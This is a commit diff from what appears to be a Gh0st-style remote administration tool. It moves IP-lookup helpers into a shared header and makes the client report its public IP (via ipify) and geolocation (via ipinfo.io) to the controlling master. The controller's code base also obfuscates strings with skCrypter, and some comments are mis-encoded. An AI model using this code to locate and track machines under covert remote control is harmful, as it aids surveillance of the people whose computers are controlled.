fix: Showing wrong IP while using Reverse Proxy
This commit is contained in:
@@ -190,6 +190,7 @@
|
|||||||
<ClCompile Include="X264Encoder.cpp" />
|
<ClCompile Include="X264Encoder.cpp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
<ClInclude Include="..\common\location.h" />
|
||||||
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
|
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
|
||||||
<ClInclude Include="Audio.h" />
|
<ClInclude Include="Audio.h" />
|
||||||
<ClInclude Include="AudioManager.h" />
|
<ClInclude Include="AudioManager.h" />
|
||||||
|
|||||||
@@ -8,6 +8,7 @@
|
|||||||
#include <NTSecAPI.h>
|
#include <NTSecAPI.h>
|
||||||
#include "common/skCrypter.h"
|
#include "common/skCrypter.h"
|
||||||
#include <common/iniFile.h>
|
#include <common/iniFile.h>
|
||||||
|
#include <location.h>
|
||||||
|
|
||||||
// by ChatGPT
|
// by ChatGPT
|
||||||
bool IsWindows11() {
|
bool IsWindows11() {
|
||||||
@@ -284,6 +285,23 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, const CONNECT_ADDRESS& conn)
|
|||||||
strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0;
|
strcmp(conn.szFlag, skCrypt("Happy New Year!")) == 0;
|
||||||
const char* id = isDefault ? masterHash.c_str() : conn.szFlag;
|
const char* id = isDefault ? masterHash.c_str() : conn.szFlag;
|
||||||
memcpy(LoginInfor.szMasterID, id, min(strlen(id), 16));
|
memcpy(LoginInfor.szMasterID, id, min(strlen(id), 16));
|
||||||
|
iniFile cfg(CLIENT_PATH);
|
||||||
|
std::string loc = cfg.GetStr("settings", "location", "");
|
||||||
|
std::string pubIP = cfg.GetStr("settings", "public_ip", "");
|
||||||
|
IPConverter cvt;
|
||||||
|
if (loc.empty()) {
|
||||||
|
std::string ip = cvt.getPublicIP();
|
||||||
|
if (pubIP.empty()) pubIP = ip;
|
||||||
|
loc = cvt.GetGeoLocation(pubIP);
|
||||||
|
cfg.SetStr("settings", "location", loc);
|
||||||
|
}
|
||||||
|
if (pubIP.empty()) {
|
||||||
|
pubIP = cvt.getPublicIP();
|
||||||
|
cfg.SetStr("settings", "public_ip", pubIP);
|
||||||
|
}
|
||||||
|
LoginInfor.AddReserved(loc.c_str());
|
||||||
|
LoginInfor.AddReserved(pubIP.c_str());
|
||||||
|
|
||||||
return LoginInfor;
|
return LoginInfor;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -633,6 +633,8 @@ enum LOGIN_RES {
|
|||||||
RES_INSTALL_INFO = 7, // <20><>װ<EFBFBD><D7B0>Ϣ
|
RES_INSTALL_INFO = 7, // <20><>װ<EFBFBD><D7B0>Ϣ
|
||||||
RES_PROGRAM_BITS = 8, // <20><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
RES_PROGRAM_BITS = 8, // <20><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||||
RES_EXPIRED_DATE = 9, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
RES_EXPIRED_DATE = 9, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
RES_CLIENT_LOC = 10, // <20><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||||
|
RES_CLIENT_PUBIP = 11, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ
|
||||||
RES_MAX,
|
RES_MAX,
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|||||||
205
common/location.h
Normal file
205
common/location.h
Normal file
@@ -0,0 +1,205 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <string>
|
||||||
|
#include <winsock2.h>
|
||||||
|
#include <iphlpapi.h>
|
||||||
|
#include <ws2tcpip.h>
|
||||||
|
#include <WinInet.h>
|
||||||
|
#include "logger.h"
|
||||||
|
#include "jsoncpp/json.h"
|
||||||
|
|
||||||
|
#ifndef _WIN64
|
||||||
|
#ifdef _DEBUG
|
||||||
|
#pragma comment(lib, "jsoncpp/jsoncppd.lib")
|
||||||
|
#else
|
||||||
|
#pragma comment(lib, "jsoncpp/jsoncpp.lib")
|
||||||
|
#endif
|
||||||
|
#else
|
||||||
|
#ifdef _DEBUG
|
||||||
|
#pragma comment(lib, "jsoncpp/jsoncpp_x64d.lib")
|
||||||
|
#else
|
||||||
|
#pragma comment(lib, "jsoncpp/jsoncpp_x64.lib")
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#pragma comment(lib, "wininet.lib")
|
||||||
|
#pragma comment(lib, "Iphlpapi.lib")
|
||||||
|
|
||||||
|
inline void splitIpPort(const std::string& input, std::string& ip, std::string& port) {
|
||||||
|
size_t pos = input.find(':');
|
||||||
|
if (pos != std::string::npos) {
|
||||||
|
ip = input.substr(0, pos);
|
||||||
|
port = input.substr(pos + 1);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
ip = input;
|
||||||
|
port = "";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* IPConverter: IP <20><><EFBFBD><EFBFBD><EFBFBD>࣬<EFBFBD><E0A3AC><EFBFBD>ڻ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>IP<49><50><EFBFBD><EFBFBD>ȡIP<49><50>Ӧ<EFBFBD>ĵ<EFBFBD><C4B5><EFBFBD>λ<EFBFBD>õ<EFBFBD>.
|
||||||
|
* Ŀǰ<C4BF><C7B0>ͨ<EFBFBD><CDA8><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><C3B9><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>API<50><49><EFBFBD>ɣ<EFBFBD><C9A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ò<EFBFBD>ѯ<EFBFBD><D1AF>վ<EFBFBD><D5BE><EFBFBD>ɷ<EFBFBD><C9B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.
|
||||||
|
*/
|
||||||
|
class IPConverter
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
std::string IPtoAddress(const std::string& ip) { return "implement me"; }
|
||||||
|
|
||||||
|
/**
|
||||||
|
* <20>жϸ<D0B6><CFB8><EFBFBD><EFBFBD><EFBFBD> IP <20><>ַ<EFBFBD>Ƿ<EFBFBD><C7B7>Ǿ<EFBFBD><C7BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP
|
||||||
|
* @param ipAddress IP <20><>ַ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> "192.168.1.1"<22><>
|
||||||
|
* @return <20><><EFBFBD><EFBFBD><EFBFBD>Ǿ<EFBFBD><C7BE><EFBFBD><EFBFBD><EFBFBD> IP<49><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD> true; <20><><EFBFBD><EFBFBD> false
|
||||||
|
*/
|
||||||
|
bool IsPrivateIP(const std::string& ipAddress) {
|
||||||
|
// <20><> IP <20><>ַ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ת<EFBFBD><D7AA>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD><EFBFBD>Ƹ<EFBFBD>ʽ
|
||||||
|
in_addr addr;
|
||||||
|
if (inet_pton(AF_INET, ipAddress.c_str(), &addr) != 1) {
|
||||||
|
Mprintf("Invalid IP address: %s\n", ipAddress.c_str());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> IP <20><>ַת<D6B7><D7AA>Ϊ<EFBFBD><EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
unsigned long ip = ntohl(addr.s_addr);
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD> IP <20><>ַ<EFBFBD>Ƿ<EFBFBD><C7B7>ھ<EFBFBD><DABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Χ<EFBFBD><CEA7>
|
||||||
|
if ((ip >= 0x0A000000 && ip <= 0x0AFFFFFF) || // 10.0.0.0/8
|
||||||
|
(ip >= 0xAC100000 && ip <= 0xAC1FFFFF) || // 172.16.0.0/12
|
||||||
|
(ip >= 0xC0A80000 && ip <= 0xC0A8FFFF) || // 192.168.0.0/16
|
||||||
|
(ip >= 0x7F000000 && ip <= 0x7FFFFFFF)) { // 127.0.0.0/8
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||||
|
std::string GetLocalLocation() {
|
||||||
|
return GetGeoLocation(getPublicIP());
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><>ȡ IP <20><>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>(<28><><EFBFBD><EFBFBD>[ipinfo.io])
|
||||||
|
std::string GetGeoLocation(const std::string& IP) {
|
||||||
|
if (IP.empty()) return "";
|
||||||
|
|
||||||
|
std::string ip = IP;
|
||||||
|
if (isLocalIP(ip)) {
|
||||||
|
ip = getPublicIP();
|
||||||
|
if (ip.empty())
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
HINTERNET hInternet, hConnect;
|
||||||
|
DWORD bytesRead;
|
||||||
|
std::string readBuffer;
|
||||||
|
|
||||||
|
// <20><>ʼ<EFBFBD><CABC> WinINet
|
||||||
|
hInternet = InternetOpen("IP Geolocation", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
|
||||||
|
if (hInternet == NULL) {
|
||||||
|
Mprintf("InternetOpen failed! %d\n", GetLastError());
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD> HTTP <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
std::string url = "http://ipinfo.io/" + ip + "/json";
|
||||||
|
hConnect = InternetOpenUrlA(hInternet, url.c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0);
|
||||||
|
if (hConnect == NULL) {
|
||||||
|
Mprintf("InternetOpenUrlA failed! %d\n", GetLastError());
|
||||||
|
InternetCloseHandle(hInternet);
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><>ȡ<EFBFBD><C8A1><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
char buffer[4096];
|
||||||
|
while (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
|
||||||
|
readBuffer.append(buffer, bytesRead);
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD> JSON <20><>Ӧ
|
||||||
|
Json::Value jsonData;
|
||||||
|
Json::Reader jsonReader;
|
||||||
|
std::string location;
|
||||||
|
|
||||||
|
if (jsonReader.parse(readBuffer, jsonData)) {
|
||||||
|
std::string country = jsonData["country"].asString();
|
||||||
|
std::string city = jsonData["city"].asString();
|
||||||
|
std::string loc = jsonData["loc"].asString(); // <20><>γ<EFBFBD><CEB3><EFBFBD><EFBFBD>Ϣ
|
||||||
|
if (city.empty() && country.empty()) {
|
||||||
|
}
|
||||||
|
else if (city.empty()) {
|
||||||
|
location = country;
|
||||||
|
}
|
||||||
|
else if (country.empty()) {
|
||||||
|
location = city;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
location = city + ", " + country;
|
||||||
|
}
|
||||||
|
if (location.empty() && IsPrivateIP(ip)) {
|
||||||
|
location = "Local Area Network";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
Mprintf("Failed to parse JSON response: %s.\n", readBuffer.c_str());
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20>رվ<D8B1><D5BE><EFBFBD>
|
||||||
|
InternetCloseHandle(hConnect);
|
||||||
|
InternetCloseHandle(hInternet);
|
||||||
|
|
||||||
|
return location;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool isLoopbackAddress(const std::string& ip) {
|
||||||
|
return (ip == "127.0.0.1" || ip == "::1");
|
||||||
|
}
|
||||||
|
|
||||||
|
bool isLocalIP(const std::string& ip) {
|
||||||
|
if (isLoopbackAddress(ip)) return true; // <20>ȼ<EFBFBD><C8BC><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD>ַ
|
||||||
|
|
||||||
|
ULONG outBufLen = 15000;
|
||||||
|
IP_ADAPTER_ADDRESSES* pAddresses = (IP_ADAPTER_ADDRESSES*)malloc(outBufLen);
|
||||||
|
if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, nullptr, pAddresses, &outBufLen) == ERROR_BUFFER_OVERFLOW) {
|
||||||
|
free(pAddresses);
|
||||||
|
pAddresses = (IP_ADAPTER_ADDRESSES*)malloc(outBufLen);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, nullptr, pAddresses, &outBufLen) == NO_ERROR) {
|
||||||
|
for (IP_ADAPTER_ADDRESSES* pCurrAddresses = pAddresses; pCurrAddresses; pCurrAddresses = pCurrAddresses->Next) {
|
||||||
|
for (IP_ADAPTER_UNICAST_ADDRESS* pUnicast = pCurrAddresses->FirstUnicastAddress; pUnicast; pUnicast = pUnicast->Next) {
|
||||||
|
char addressBuffer[INET6_ADDRSTRLEN] = { 0 };
|
||||||
|
getnameinfo(pUnicast->Address.lpSockaddr, pUnicast->Address.iSockaddrLength, addressBuffer, sizeof(addressBuffer), nullptr, 0, NI_NUMERICHOST);
|
||||||
|
|
||||||
|
if (ip == addressBuffer) {
|
||||||
|
free(pAddresses);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
free(pAddresses);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>IP, <20><>ȡʧ<C8A1>ܷ<EFBFBD><DCB7>ؿ<EFBFBD>
|
||||||
|
std::string getPublicIP() {
|
||||||
|
HINTERNET hInternet, hConnect;
|
||||||
|
DWORD bytesRead;
|
||||||
|
char buffer[1024] = { 0 };
|
||||||
|
|
||||||
|
hInternet = InternetOpen("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
|
||||||
|
if (!hInternet) return "";
|
||||||
|
|
||||||
|
hConnect = InternetOpenUrl(hInternet, "https://api64.ipify.org", NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_SECURE, 0);
|
||||||
|
if (!hConnect) {
|
||||||
|
InternetCloseHandle(hInternet);
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
InternetReadFile(hConnect, buffer, sizeof(buffer) - 1, &bytesRead);
|
||||||
|
InternetCloseHandle(hConnect);
|
||||||
|
InternetCloseHandle(hInternet);
|
||||||
|
|
||||||
|
return std::string(buffer);
|
||||||
|
}
|
||||||
|
};
|
||||||
@@ -23,7 +23,7 @@
|
|||||||
#include "InputDlg.h"
|
#include "InputDlg.h"
|
||||||
#include "CPasswordDlg.h"
|
#include "CPasswordDlg.h"
|
||||||
#include "pwd_gen.h"
|
#include "pwd_gen.h"
|
||||||
#include "parse_ip.h"
|
#include "common/location.h"
|
||||||
#include <proxy/ProxyMapDlg.h>
|
#include <proxy/ProxyMapDlg.h>
|
||||||
#include "DateVerify.h"
|
#include "DateVerify.h"
|
||||||
#include <fstream>
|
#include <fstream>
|
||||||
@@ -597,7 +597,11 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
|
|||||||
bool modify = false;
|
bool modify = false;
|
||||||
CString loc = GetClientMapData(id, MAP_LOCATION);
|
CString loc = GetClientMapData(id, MAP_LOCATION);
|
||||||
if (loc.IsEmpty()) {
|
if (loc.IsEmpty()) {
|
||||||
loc = GetGeoLocation(data[ONLINELIST_IP].GetString()).c_str();
|
loc = v[RES_CLIENT_LOC].c_str();
|
||||||
|
if (loc.IsEmpty()) {
|
||||||
|
IPConverter cvt;
|
||||||
|
loc = cvt.GetGeoLocation(data[ONLINELIST_IP].GetString()).c_str();
|
||||||
|
}
|
||||||
if (!loc.IsEmpty()) {
|
if (!loc.IsEmpty()) {
|
||||||
modify = true;
|
modify = true;
|
||||||
SetClientMapData(id, MAP_LOCATION, loc);
|
SetClientMapData(id, MAP_LOCATION, loc);
|
||||||
@@ -611,15 +615,16 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
|
|||||||
if (modify)
|
if (modify)
|
||||||
SaveToFile(m_ClientMap, GetDbPath());
|
SaveToFile(m_ClientMap, GetDbPath());
|
||||||
auto& m = m_ClientMap[ContextObject->ID];
|
auto& m = m_ClientMap[ContextObject->ID];
|
||||||
int i = m_CList_Online.InsertItem(m_CList_Online.GetItemCount(), strIP);
|
bool flag = strIP == "127.0.0.1" && !v[RES_CLIENT_PUBIP].empty();
|
||||||
|
int i = m_CList_Online.InsertItem(m_CList_Online.GetItemCount(), flag ? v[RES_CLIENT_PUBIP].c_str() : strIP);
|
||||||
for (int n = ONLINELIST_ADDR; n <= ONLINELIST_CLIENTTYPE; n++) {
|
for (int n = ONLINELIST_ADDR; n <= ONLINELIST_CLIENTTYPE; n++) {
|
||||||
n == ONLINELIST_COMPUTER_NAME ?
|
n == ONLINELIST_COMPUTER_NAME ?
|
||||||
m_CList_Online.SetItemText(i, n, m.GetNote()[0] ? m.GetNote() : data[n]) :
|
m_CList_Online.SetItemText(i, n, m.GetNote()[0] ? m.GetNote() : data[n]) :
|
||||||
m_CList_Online.SetItemText(i, n, data[n].IsEmpty() ? "?" : data[n]);
|
m_CList_Online.SetItemText(i, n, data[n].IsEmpty() ? "?" : data[n]);
|
||||||
}
|
}
|
||||||
m_CList_Online.SetItemData(i,(DWORD_PTR)ContextObject);
|
m_CList_Online.SetItemData(i,(DWORD_PTR)ContextObject);
|
||||||
|
std::string tip = flag ? " (" + v[RES_CLIENT_PUBIP] + ") " : "";
|
||||||
ShowMessage("操作成功",strIP+"主机上线");
|
ShowMessage("操作成功",strIP + tip.c_str() + "主机上线");
|
||||||
LeaveCriticalSection(&m_cs);
|
LeaveCriticalSection(&m_cs);
|
||||||
|
|
||||||
SendMasterSettings(ContextObject);
|
SendMasterSettings(ContextObject);
|
||||||
@@ -835,7 +840,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
|||||||
#else
|
#else
|
||||||
SetTimer(TIMER_CHECK, 600 * 1000, NULL);
|
SetTimer(TIMER_CHECK, 600 * 1000, NULL);
|
||||||
#endif
|
#endif
|
||||||
CString tip = !ip.empty() && ip != getPublicIP() ?
|
IPConverter cvt;
|
||||||
|
CString tip = !ip.empty() && ip != cvt.getPublicIP() ?
|
||||||
CString(ip.c_str()) + " 必须是\"公网IP\"或反向代理服务器IP":
|
CString(ip.c_str()) + " 必须是\"公网IP\"或反向代理服务器IP":
|
||||||
"请设置\"公网IP\",或使用反向代理服务器的IP";
|
"请设置\"公网IP\",或使用反向代理服务器的IP";
|
||||||
ShowMessage("使用提示", tip);
|
ShowMessage("使用提示", tip);
|
||||||
|
|||||||
@@ -273,7 +273,6 @@
|
|||||||
<ClInclude Include="InputDlg.h" />
|
<ClInclude Include="InputDlg.h" />
|
||||||
<ClInclude Include="IOCPServer.h" />
|
<ClInclude Include="IOCPServer.h" />
|
||||||
<ClInclude Include="KeyBoardDlg.h" />
|
<ClInclude Include="KeyBoardDlg.h" />
|
||||||
<ClInclude Include="parse_ip.h" />
|
|
||||||
<ClInclude Include="proxy\HPSocket.h" />
|
<ClInclude Include="proxy\HPSocket.h" />
|
||||||
<ClInclude Include="proxy\HPTypeDef.h" />
|
<ClInclude Include="proxy\HPTypeDef.h" />
|
||||||
<ClInclude Include="proxy\ProxyConnectServer.h" />
|
<ClInclude Include="proxy\ProxyConnectServer.h" />
|
||||||
@@ -337,7 +336,6 @@
|
|||||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
||||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
<ClCompile Include="parse_ip.cpp" />
|
|
||||||
<ClCompile Include="proxy\ProxyConnectServer.cpp" />
|
<ClCompile Include="proxy\ProxyConnectServer.cpp" />
|
||||||
<ClCompile Include="proxy\ProxyMapDlg.cpp" />
|
<ClCompile Include="proxy\ProxyMapDlg.cpp" />
|
||||||
<ClCompile Include="pwd_gen.cpp">
|
<ClCompile Include="pwd_gen.cpp">
|
||||||
|
|||||||
@@ -6,7 +6,7 @@
|
|||||||
#include "SettingDlg.h"
|
#include "SettingDlg.h"
|
||||||
#include "afxdialogex.h"
|
#include "afxdialogex.h"
|
||||||
#include "client/CursorInfo.h"
|
#include "client/CursorInfo.h"
|
||||||
#include "parse_ip.h"
|
#include "common/location.h"
|
||||||
|
|
||||||
// CSettingDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
// CSettingDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||||
|
|
||||||
@@ -63,8 +63,9 @@ END_MESSAGE_MAP()
|
|||||||
BOOL CSettingDlg::OnInitDialog()
|
BOOL CSettingDlg::OnInitDialog()
|
||||||
{
|
{
|
||||||
CDialog::OnInitDialog();
|
CDialog::OnInitDialog();
|
||||||
|
IPConverter cvt;
|
||||||
m_sPublicIP = THIS_CFG.GetStr("settings", "master", "").c_str();
|
m_sPublicIP = THIS_CFG.GetStr("settings", "master", "").c_str();
|
||||||
m_sPublicIP = m_sPublicIP.IsEmpty() ? getPublicIP().c_str() : m_sPublicIP;
|
m_sPublicIP = m_sPublicIP.IsEmpty() ? cvt.getPublicIP().c_str() : m_sPublicIP;
|
||||||
int nPort = THIS_CFG.GetInt("settings", "ghost");
|
int nPort = THIS_CFG.GetInt("settings", "ghost");
|
||||||
//<2F><>ȡini <20>ļ<EFBFBD><C4BC>еļ<D0B5><C4BC><EFBFBD><EFBFBD>˿<EFBFBD>
|
//<2F><>ȡini <20>ļ<EFBFBD><C4BC>еļ<D0B5><C4BC><EFBFBD><EFBFBD>˿<EFBFBD>
|
||||||
int nMaxConnection = THIS_CFG.GetInt("settings", "MaxConnection");
|
int nMaxConnection = THIS_CFG.GetInt("settings", "MaxConnection");
|
||||||
|
|||||||
@@ -1,167 +0,0 @@
|
|||||||
#include "stdafx.h"
|
|
||||||
#include "parse_ip.h"
|
|
||||||
#include <winsock2.h>
|
|
||||||
#include <iphlpapi.h>
|
|
||||||
#include <ws2tcpip.h>
|
|
||||||
|
|
||||||
#pragma comment(lib, "Iphlpapi.lib")
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 判断给定的 IP 地址是否是局域网(内网)IP
|
|
||||||
* @param ipAddress IP 地址字符串(如 "192.168.1.1")
|
|
||||||
* @return 如果是局域网 IP,返回 true;否则返回 false
|
|
||||||
*/
|
|
||||||
bool IsPrivateIP(const std::string& ipAddress) {
|
|
||||||
// 将 IP 地址字符串转换为二进制格式
|
|
||||||
in_addr addr;
|
|
||||||
if (inet_pton(AF_INET, ipAddress.c_str(), &addr) != 1) {
|
|
||||||
Mprintf("Invalid IP address: %s\n", ipAddress.c_str());
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 将二进制 IP 地址转换为无符号整数
|
|
||||||
unsigned long ip = ntohl(addr.s_addr);
|
|
||||||
|
|
||||||
// 检查 IP 地址是否在局域网范围内
|
|
||||||
if ((ip >= 0x0A000000 && ip <= 0x0AFFFFFF) || // 10.0.0.0/8
|
|
||||||
(ip >= 0xAC100000 && ip <= 0xAC1FFFFF) || // 172.16.0.0/12
|
|
||||||
(ip >= 0xC0A80000 && ip <= 0xC0A8FFFF) || // 192.168.0.0/16
|
|
||||||
(ip >= 0x7F000000 && ip <= 0x7FFFFFFF)) { // 127.0.0.0/8
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 获取 IP 地址地理位置(基于[ipinfo.io])
|
|
||||||
std::string GetGeoLocation(const std::string& IP) {
|
|
||||||
std::string ip = IP;
|
|
||||||
if (isLocalIP(ip)) {
|
|
||||||
ip = getPublicIP();
|
|
||||||
if (ip.empty())
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
HINTERNET hInternet, hConnect;
|
|
||||||
DWORD bytesRead;
|
|
||||||
std::string readBuffer;
|
|
||||||
|
|
||||||
// 初始化 WinINet
|
|
||||||
hInternet = InternetOpen("IP Geolocation", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
|
|
||||||
if (hInternet == NULL) {
|
|
||||||
Mprintf("InternetOpen failed! %d\n", GetLastError());
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
// 创建 HTTP 请求句柄
|
|
||||||
std::string url = "http://ipinfo.io/" + ip + "/json";
|
|
||||||
hConnect = InternetOpenUrlA(hInternet, url.c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0);
|
|
||||||
if (hConnect == NULL) {
|
|
||||||
Mprintf("InternetOpenUrlA failed! %d\n", GetLastError());
|
|
||||||
InternetCloseHandle(hInternet);
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
|
|
||||||
// 读取返回的内容
|
|
||||||
char buffer[4096];
|
|
||||||
while (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
|
|
||||||
readBuffer.append(buffer, bytesRead);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 解析 JSON 响应
|
|
||||||
Json::Value jsonData;
|
|
||||||
Json::Reader jsonReader;
|
|
||||||
std::string location;
|
|
||||||
|
|
||||||
if (jsonReader.parse(readBuffer, jsonData)) {
|
|
||||||
std::string country = jsonData["country"].asString();
|
|
||||||
std::string city = jsonData["city"].asString();
|
|
||||||
std::string loc = jsonData["loc"].asString(); // 经纬度信息
|
|
||||||
if (city.empty() && country.empty()) {
|
|
||||||
}else if (city.empty()) {
|
|
||||||
location = country;
|
|
||||||
}else if (country.empty()) {
|
|
||||||
location = city;
|
|
||||||
}else {
|
|
||||||
location = city + ", " + country;
|
|
||||||
}
|
|
||||||
if (location.empty() && IsPrivateIP(ip)) {
|
|
||||||
location = "Local Area Network";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
Mprintf("Failed to parse JSON response: %s.\n", readBuffer.c_str());
|
|
||||||
}
|
|
||||||
|
|
||||||
// 关闭句柄
|
|
||||||
InternetCloseHandle(hConnect);
|
|
||||||
InternetCloseHandle(hInternet);
|
|
||||||
|
|
||||||
return location;
|
|
||||||
}
|
|
||||||
|
|
||||||
bool isLoopbackAddress(const std::string& ip) {
|
|
||||||
return (ip == "127.0.0.1" || ip == "::1");
|
|
||||||
}
|
|
||||||
|
|
||||||
bool isLocalIP(const std::string& ip) {
|
|
||||||
if (isLoopbackAddress(ip)) return true; // 先检查回环地址
|
|
||||||
|
|
||||||
ULONG outBufLen = 15000;
|
|
||||||
IP_ADAPTER_ADDRESSES* pAddresses = (IP_ADAPTER_ADDRESSES*)malloc(outBufLen);
|
|
||||||
if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, nullptr, pAddresses, &outBufLen) == ERROR_BUFFER_OVERFLOW) {
|
|
||||||
free(pAddresses);
|
|
||||||
pAddresses = (IP_ADAPTER_ADDRESSES*)malloc(outBufLen);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, nullptr, pAddresses, &outBufLen) == NO_ERROR) {
|
|
||||||
for (IP_ADAPTER_ADDRESSES* pCurrAddresses = pAddresses; pCurrAddresses; pCurrAddresses = pCurrAddresses->Next) {
|
|
||||||
for (IP_ADAPTER_UNICAST_ADDRESS* pUnicast = pCurrAddresses->FirstUnicastAddress; pUnicast; pUnicast = pUnicast->Next) {
|
|
||||||
char addressBuffer[INET6_ADDRSTRLEN] = { 0 };
|
|
||||||
getnameinfo(pUnicast->Address.lpSockaddr, pUnicast->Address.iSockaddrLength, addressBuffer, sizeof(addressBuffer), nullptr, 0, NI_NUMERICHOST);
|
|
||||||
|
|
||||||
if (ip == addressBuffer) {
|
|
||||||
free(pAddresses);
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
free(pAddresses);
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 获取公网IP, 获取失败返回空
|
|
||||||
